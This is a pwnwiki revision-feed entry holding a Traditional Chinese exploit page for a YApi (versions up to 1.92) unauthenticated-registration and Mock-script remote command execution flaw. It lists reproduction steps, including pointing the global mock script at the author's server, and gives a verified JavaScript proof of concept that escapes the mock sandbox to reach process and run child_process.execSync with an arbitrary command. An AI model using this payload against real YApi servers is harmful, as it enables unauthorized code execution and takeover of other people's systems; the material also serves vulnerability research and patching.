https://pwnwiki.com/index.php?action=history&feed=atom&title=YApi_%E6%9C%AA%E6%8E%88%E6%AC%8A%E7%94%A8%E6%88%B6%E5%89%B5%E5%BB%BA%26Mock%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E%2Fzh-hant
YApi 未授權用戶創建&Mock遠程命令執行漏洞/zh-hant - Revision history
2026-04-05T10:17:06Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=YApi_%E6%9C%AA%E6%8E%88%E6%AC%8A%E7%94%A8%E6%88%B6%E5%89%B5%E5%BB%BA%26Mock%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-hant&diff=6892&oldid=prev
Pwnwiki: Created page with "添加接口，訪問接口的mock地址"
2021-07-10T07:41:29Z
<p>Created page with "添加接口，訪問接口的mock地址"</p>
<p><b>New page</b></p><div><languages /><br />
<br />
<center><br />
{| style="border: 2.0px solid grey; background: #b3ff9c;" width="85%"<br />
| align="center" width="60px"| [[File:Check.png|link=|55px]]<br />
| align="center" |'''該漏洞已通過驗證'''<br />
------<br />
<small>本頁面的EXP/POC/Payload經測試可用，漏洞已經成功復現。</small><br />
|}<br />
</center><br />
==影響版本==<br />
<=V1.92 All<br />
<br />
==漏洞復現==<br />
<br />
<br />
登錄註冊後，創建一個項目<br />
<br />
[[File:124460388-eaa46100-ddc1-11eb-80c4-2bddb97df8e1.png | 800px]]<br />
<br />
然後選擇設置全局的mock腳本，設置命令為遠程訪問我的服務器地址。<br />
<br />
[[File:124460511-090a5c80-ddc2-11eb-92f6-46c9b3b498bb.png | 800px ]]<br />
<br />
添加接口，訪問接口的mock地址<br />
<br />
[[File:124460629-2dfecf80-ddc2-11eb-98c3-b96f7174d8f1.png | 800px]]<br />
<br />
服務器可以看到如下響應<br />
[[File:124460757-5686c980-ddc2-11eb-87df-09e0f9ac08af.png | 800px]]<br />
<br />
<br />
==POC==<br />
<pre><br />
const sandbox = this<br />
const ObjectConstructor = this.constructor<br />
const FunctionConstructor = ObjectConstructor.constructor<br />
const myfun = FunctionConstructor('return process')<br />
const process = myfun()<br />
mockjson = process.mainModule.require("child_process").execSync("command").toString()<br />
</pre><br />
<br />
==參考==<br />
https://github.com/YMFE/yapi/issues/2233</div>
Pwnwiki